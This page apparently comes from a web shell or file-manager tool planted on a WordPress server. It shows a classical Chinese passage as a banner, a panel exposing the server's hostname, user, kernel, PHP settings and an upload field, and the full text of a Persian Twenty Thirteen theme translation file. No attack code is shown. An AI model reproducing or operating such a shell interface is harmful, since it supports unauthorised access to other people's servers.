晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/public_html/wp-content/languages/themes/ |
Upload File : |
# Translation of Themes - Twenty Thirteen in Persian # This file is distributed under the same license as the Themes - Twenty Thirteen package. msgid "" msgstr "" "PO-Revision-Date: 2019-11-13 22:59:50+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: fa\n" "Project-Id-Version: Themes - Twenty Thirteen\n" #. Description of the theme msgid "The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small." msgstr "پوستهی ۲۰۱۳ برای وردپرس، ما را به زمان وبلاگ برمیگرداند. امکاناتی همچون انواع گوناگون نوشتهها و محتوا که هر کدام به زیبایی با ظاهری منحصربهفرد به نمایش درمیآیند." #. Theme Name of the theme msgid "Twenty Thirteen" msgstr "دو هزار و سیزده" #. translators: %s: The post title. #: comments.php:29 msgctxt "comments title" msgid "One thought on “%s”" msgstr "یک دیدگاه دربارهٔ «%s»" #: functions.php:147 msgid "Off-white" msgstr "شیری" #: functions.php:142 msgid "Beige" msgstr "بژ" #: functions.php:137 msgid "Light Brown" msgstr "قهوهای روشن" #: functions.php:132 msgid "Medium Brown" msgstr "قهوهای متوسط" #: functions.php:127 msgid "Dark Brown" msgstr "قهوهای تیره" #: functions.php:122 msgid "White" msgstr "سفید" #: functions.php:117 msgid "Yellow" msgstr "زرد" #: functions.php:112 msgid "Light Orange" msgstr "نارنجی روشن" #: functions.php:107 msgid "Medium Orange" msgstr "نارنجی متوسط" #: functions.php:102 msgid "Red" msgstr "قرمز" #: functions.php:97 msgid "Dark Gray" msgstr "خاکستری تیره" #: taxonomy-post_format.php:23 msgid "%s Archives" msgstr "بایگانی %s" #: tag.php:21 msgid "Tag Archives: %s" msgstr "بایگانی برچسب: s%" #: search.php:18 msgid "Search Results for: %s" msgstr "نتایج جستجوی: %s" #: inc/custom-header.php:60 msgctxt "header image description" msgid "Star" msgstr "ستاره" #: inc/custom-header.php:55 msgctxt "header image description" msgid "Diamond" msgstr "لوزی" #: inc/custom-header.php:50 msgctxt "header image description" msgid "Circle" msgstr "دایره" #: inc/back-compat.php:37 inc/back-compat.php:48 inc/back-compat.php:64 msgid "Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again." msgstr "دو هزار و سیزده برای اجرا نیازمند وردپرس ۳.۶ است. شما در حال استفاده از نگارش %s هستید. لطفا وردپرستان را بهروز کرده و دوباره آزمایش کنید." #: image.php:62 msgid "Next <span class=\"meta-nav\">→</span>" msgstr "بعدی <span class=\"meta-nav\">←</span>" #: image.php:61 msgid "<span class=\"meta-nav\">←</span> Previous" msgstr "<span class=\"meta-nav\">→</span> قبلی" #: image.php:49 msgid "Full resolution" msgstr "تمام صفحه" #: image.php:48 msgid "Link to full-size image" msgstr "پیوند به عکس با اندازهی واقعی" #: image.php:29 msgid "<span class=\"attachment-meta\">Published on <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> in <a href=\"%3$s\" title=\"Return to %4$s\" rel=\"gallery\">%5$s</a></span>" msgstr "<span class=\"attachment-meta\">انتشار در <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> در <a href=\"%3$s\" title=\"بازگشتن به %4$s\" rel=\"gallery\">%5$s</a></span>" #: header.php:45 msgid "Skip to content" msgstr "رفتن به نوشتهها" #: header.php:44 msgid "Menu" msgstr "فهرست" #: functions.php:526 msgid "Permalink to %s" msgstr "پیوند پایدار به %s" #: functions.php:518 msgctxt "1: post format name. 2: date" msgid "%1$s on %2$s" msgstr "%1$s در %2$s" #: functions.php:498 msgid "View all posts by %s" msgstr "نمایش همهی نوشتههای %s" #. Translators: used between list items, there is a space after the comma. #: functions.php:482 functions.php:488 msgid ", " msgstr "٬ " #: functions.php:474 msgid "Sticky" msgstr "سنجاقشده" #: functions.php:456 msgctxt "Next post link" msgid "%title <span class=\"meta-nav\">→</span>" msgstr "%title <span class=\"meta-nav\">←</span>" #: functions.php:455 msgctxt "Previous post link" msgid "<span class=\"meta-nav\">←</span> %title" msgstr "<span class=\"meta-nav\">→</span> %title" #: functions.php:452 msgid "Post navigation" msgstr "ناوبری نوشته" #: functions.php:425 msgid "Newer posts <span class=\"meta-nav\">→</span>" msgstr "نوشتههای تازهتر <span class=\"meta-nav\">←</span>" #: functions.php:421 msgid "<span class=\"meta-nav\">←</span> Older posts" msgstr "<span class=\"meta-nav\">→</span> نوشتههای کهنهتر" #: functions.php:417 msgid "Posts navigation" msgstr "پیمایش نوشتهها" #: functions.php:392 msgid "Appears on posts and pages in the sidebar." msgstr "در ستونِ کنار نوشتهها و برگهها نشان داده میشود." #: functions.php:390 msgid "Secondary Widget Area" msgstr "ناحیه ابزارک دوم" #: functions.php:380 msgid "Appears in the footer section of the site." msgstr "در بخش پایین سایت نشان داده میشود." #: functions.php:378 msgid "Main Widget Area" msgstr "ناحیه اصلی ابزارک" #: functions.php:363 msgid "Page %s" msgstr "برگه %s" #. Translators: If there are characters in your language that are not * #. supported by Bitter, translate this to 'off'. Do not translate into your * #. own language. #: functions.php:232 msgctxt "Bitter font: on or off" msgid "on" msgstr "off" #. Translators: If there are characters in your language that are not * #. supported by Source Sans Pro, translate this to 'off'. Do not translate * #. into your own language. #: functions.php:226 msgctxt "Source Sans Pro font: on or off" msgid "on" msgstr "on" #: functions.php:192 msgid "Navigation Menu" msgstr "فهرست راهبری" #: footer.php:25 msgid "Proudly powered by %s" msgstr "با افتخار نیرو گرفته از %s" #: content-none.php:27 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "اینطور بهنظر میرسد که ما نمیتوانیم چیزی که شما بهدنبالش هستید پیدا کنیم. شاید جستجو کردن راه بهتری باشد." #: content-none.php:22 msgid "Sorry, but nothing matched your search terms. Please try again with different keywords." msgstr "متاسفانه جستجوی شما نتیجهای در بر نداشت. با واژگانی دیگر جستجو کنید." #: content-none.php:18 msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>." msgstr "میخواهید اولین نوشتهی خود را منتشر کنید؟ <a href=\"%1$s\">از اینجا آغاز کنید</a>. " #: content-none.php:12 msgid "Nothing Found" msgstr "چیزی پیدا نشد" #: content-gallery.php:52 content.php:65 content-image.php:48 #: content-video.php:48 content-quote.php:38 msgid "View all % comments" msgstr "دیدن همهی دیدگاههای %" #: content-gallery.php:52 content.php:65 content-image.php:48 #: content-video.php:48 content-quote.php:38 msgid "One comment so far" msgstr "یک دیدگاه تاکنون" #: content-gallery.php:52 content.php:65 content-image.php:48 #: content-video.php:48 content-quote.php:38 msgid "Leave a comment" msgstr "دیدگاهتان را بنویسید:" #: content-link.php:19 content-chat.php:45 content-gallery.php:55 #: content.php:31 content-image.php:51 content-audio.php:47 page.php:51 #: content-video.php:51 content-quote.php:41 content-status.php:35 image.php:54 #: content-aside.php:36 content-aside.php:44 msgid "Edit" msgstr "ویرایش" #: content-link.php:35 content-chat.php:34 content-gallery.php:35 #: content.php:52 content-image.php:34 content-audio.php:35 page.php:41 #: content-video.php:34 content-quote.php:24 content-status.php:24 image.php:83 #: content-aside.php:24 msgid "Pages:" msgstr "برگهها :" #. translators: %s: Name of current post #: content-link.php:28 content-chat.php:27 content-gallery.php:28 #: content.php:45 functions.php:640 content-image.php:27 content-audio.php:28 #: content-video.php:27 content-quote.php:17 content-status.php:17 #: content-aside.php:17 msgid "Continue reading %s <span class=\"meta-nav\">→</span>" msgstr "ادامه خواندن %s <span class=\"meta-nav\">←</span>" #: comments.php:67 msgid "Comments are closed." msgstr "دیدگاهها غیرفعال هستند." #: comments.php:62 msgid "Newer Comments →" msgstr "دیدگاههای تازهتر ←" #: comments.php:61 msgid "← Older Comments" msgstr "→ دیدگاههای کهنهتر" #: comments.php:60 msgid "Comment navigation" msgstr "ناوبری دیدگاه" #. translators: %1$s: The number of comments. %2$s: The post title. #: comments.php:35 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "%1$s دیدگاه در “%2$s”" #: category.php:19 msgid "Category Archives: %s" msgstr "بایگانی دسته: %s" #: author.php:31 msgid "All posts by %s" msgstr "همهی نوشتههای %s" #: author-bio.php:30 msgid "View all posts by %s <span class=\"meta-nav\">→</span>" msgstr "دیدن همهی نوشتههای: %s <span class=\"meta-nav\">→</span>" #: author-bio.php:26 msgid "About %s" msgstr "درباره %s" #: archive.php:36 msgid "Archives" msgstr "بایگانی" #: archive.php:34 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #: archive.php:34 msgid "Yearly Archives: %s" msgstr "بایگانی سالیانه: %s" #: archive.php:32 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #: archive.php:32 msgid "Monthly Archives: %s" msgstr "بایگانی ماهیانه: %s" #: archive.php:30 msgid "Daily Archives: %s" msgstr "بایگانی روزانه: %s" #: 404.php:22 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "به نظر میرسد که چیزی که میخواهید در اینجا پیدا نشد. میخواهید جستجو کنید؟" #: 404.php:21 msgid "This is somewhat embarrassing, isn’t it?" msgstr "این خیلی شرمآوره، نه؟" #: 404.php:16 msgid "Not Found" msgstr "پیدا نشد" #. Author URI of the theme #: footer.php:24 msgid "https://wordpress.org/" msgstr "http://wp-persian.com/" #. Author of the theme msgid "the WordPress team" msgstr "گروه وردپرس فارسی" #. Theme URI of the theme msgid "https://wordpress.org/themes/twentythirteen/" msgstr "https://wordpress.org/themes/twentythirteen/"